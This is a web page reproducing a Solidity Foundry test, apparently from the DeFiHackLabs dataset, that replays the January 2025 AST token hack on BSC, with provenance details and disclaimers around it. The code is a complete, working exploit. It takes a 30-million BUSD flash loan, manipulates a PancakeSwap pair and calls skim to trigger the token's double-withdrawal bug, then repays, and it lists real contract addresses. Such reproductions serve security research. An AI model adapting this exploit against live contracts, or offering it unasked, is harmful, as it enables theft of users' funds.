Public reproduction file
src/test/2025-01/Ast_exp.sol
Public reproduction file for dataset entry Ast.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";8// @KeyInfo - Total Lost : 65K US$9// Attacker : 0x56f77AdC522BFfebB3AF0669564122933AB5EA4f10// Attack Contract : 0xaaE196b6E3f3Ee34405e857e7bfb05D74c5cf77511// Vulnerable Contract : 0xc10E0319337c7F83342424Df72e73a70A29579B212// Attack Tx : https://bscscan.com/tx/0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e79392714// @Info15// Vulnerable Contract Code : https://bscscan.com/address/0xc10e0319337c7f83342424df72e73a70a29579b2#code17// @Analysis18// solidityscan: https://blog.solidityscan.com/ast-token-hack-analysis-7a2f0400436a19// medium.com: https://medium.com/@joichiro.sai/ast-token-hack-how-a-faulty-transfer-logic-led-to-a-65k-exploit-da75aed59a4322// 需要在foundry.toml中设置 evm_version = 'shanghai'25contract ContractTest is Test {26 // AST接口27 address constant ast = 0xc10E0319337c7F83342424Df72e73a70A29579B2;28 // BUSD地址29 address constant busd = 0x55d398326f99059fF775485246999027B3197955;30 // WBNB地址31 address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;32 // ERC1967Proxy地址33 address constant proxy = 0xc8B9817eB65B7d7e85325f23A60D5839d14F9Ce4;34 // pancake BUSD/AST pair35 IPancakePair BUSD_AST_LPPool = IPancakePair(0x5ffEc8523A42BE78B1Ad1244fA526f14B64bA47a);36 // pancakeV3Pool接口37 IPancakeV3Pool PancakePool = IPancakeV3Pool(0x36696169C63e42cd08ce11f5deeBbCeBae652050);38 // pancackeRouter接口39 IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));40 // 需要借款的BUSD数量41 uint256 constant busd_amount = 30_000_000 * 1e18;42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);44 function setUp() public {45 // 攻击发生的上一个区块46 vm.createSelectFork("bsc", 45_964_639);47 vm.label(busd, "BUSD");48 vm.label(ast, "AST");49 vm.label(address(BUSD_AST_LPPool), "BUSD_AST_LPPool");50 vm.label(address(PancakePool), "PancakePool");51 vm.label(address(pancakeRouter), "pancakeRouter");52 vm.label(address(proxy), "ERC1967Proxy");53 // 准备一点busd和ast,用于添加流动性54 deal(busd, address(this), 1 * 1e18);55 deal(ast, address(this), 7 * 1e18);56 }58 function testExploit() public {59 emit log_named_decimal_uint("[Start] Attacker BUSD balance before flash", IERC20(busd).balanceOf(address(this)), 18);60 address recipient = address(this);61 uint256 amount1 = 0;62 bytes memory data = abi.encode(busd_amount);63 // 调用闪电贷,贷款3000万个BUSD64 PancakePool.flash(recipient, busd_amount, amount1, data);65 emit log_named_decimal_uint("[Info] Attacker BUSD balance after exploit", IERC20(busd).balanceOf(address(this)), 18);66 }68 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory data) external {69 emit log_named_decimal_uint("[Info] Attacker BUSD balance after flash", IERC20(busd).balanceOf(address(this)), 18);70 // 授权给pancakeRouter71 IERC20(busd).approve(address(pancakeRouter), type(uint256).max);72 IERC20(ast).approve(address(pancakeRouter), type(uint256).max);73 BUSD_AST_LPPool.approve(address(pancakeRouter), type(uint256).max);74 // 调用pancakeRouter把BUSD换成AST75 address[] memory path1 = new address[](2);76 path1[0] = busd;77 path1[1] = ast;79 // swap所有3000万个BUSD为AST,目标是proxy80 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(81 busd_amount, 0, path1, proxy, block.timestamp82 );83 // 计算流动性池中的ast amount,使用LP中的Ast数量减184 uint256 lpAstAmount = IERC20(ast).balanceOf(address(BUSD_AST_LPPool)) - 1;86 // 添加流动性,此处不能使用addLiquidity方法添加流动性,因为资产比例限制无法添加足额的AST87 IERC20(busd).transfer(address(BUSD_AST_LPPool), 1 * 1e18);88 IERC20(ast).transfer(address(BUSD_AST_LPPool), lpAstAmount);90 // 使用skim把多余代币提取到攻击合约中,也就是撤出上一步添加的流动性91 // 这里会触发合约的bug,LP中剩余AST数量为6688350004594453501,上一步添加了668835000459445350092 // 由于合约BUG在撤出流动性时会撤出两次, 也就是 6688350004594453501 + 6688350004594453500 - 6688350004594453500 - 6688350004594453500 = 193 BUSD_AST_LPPool.skim(address(this));94 BUSD_AST_LPPool.sync();95 emit log_named_decimal_uint("[Info] LP BUSD balance after skim", IERC20(busd).balanceOf(address(BUSD_AST_LPPool)), 18);96 emit log_named_decimal_uint("[Info] LP AST balance after skim", IERC20(ast).balanceOf(address(BUSD_AST_LPPool)), 18);97 // swap攻击合约中所有的AST98 address[] memory path2 = new address[](2);99 path2[0] = ast;100 path2[1] = busd;101 uint256 astAmount = IERC20(ast).balanceOf((address(this)));102 pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(103 astAmount, 0, path2, address(this), block.timestamp104 );105 // 解码data查看借贷总量,也可以像上边一样写死,这样就不需要依赖于data106 (uint256 amount) = abi.decode(data, (uint256));107 // 还款给pancake,并加上费用108 IERC20(busd).transfer(msg.sender, amount + fee0);109 }110}Analysis
Dataset entry
Public Foundry test for “Ast” (2025-01-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-01/98Token_exp.solSame month in the dataset · 53 lines
- src/test/2025-01/AIXBTForcedSwap_exp.solSame month in the dataset · 260 lines
- src/test/2025-01/HORS_exp.solSame month in the dataset · 92 lines
- src/test/2025-01/IdolsNFT_exp.solSame month in the dataset · 81 lines
- src/test/2025-01/IPC_exp.solSame month in the dataset · 105 lines
- src/test/2025-01/JPulsepot_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/LAURAToken_exp.solSame month in the dataset · 204 lines
- src/test/2025-01/LPMine_exp.solSame month in the dataset · 96 lines
- src/test/2025-01/MCAI_exp.solSame month in the dataset · 89 lines
- src/test/2025-01/Mosca_exp.solSame month in the dataset · 75 lines
- src/test/2025-01/Mosca2_exp.solSame month in the dataset · 78 lines
- src/test/2025-01/ODOS_exp.solSame month in the dataset · 68 lines
- src/test/2025-01/Paribus_exp.solSame month in the dataset · 188 lines
- src/test/2025-01/RoulettePotV2_exp.solSame month in the dataset · 72 lines
- src/test/2025-01/sorraStaking.solSame month in the dataset · 72 lines
- src/test/2025-01/Unilend_exp.solSame month in the dataset · 157 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x56f77adc522bffebb3af0669564122933ab5ea4f
- Attack Contract
0xaae196b6e3f3ee34405e857e7bfb05d74c5cf775
- Vulnerable Contract
0xc10e0319337c7f83342424df72e73a70a29579b2
- Attack Tx
0x80dd9362d211722b578af72d551f0a68e0dc1b1e077805353970b2f65e793927
File record
- Name
- Ast
- Path
- src/test/2025-01/Ast_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e079b891febd96cb99d63c2c8f6f80b84fa932bb
- Language
- Solidity
- Size
- 111 lines
- Date
- 2025-01-21
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-01/Ast_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e079b891febd96cb99d63c2c8f6f80b84fa932bb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.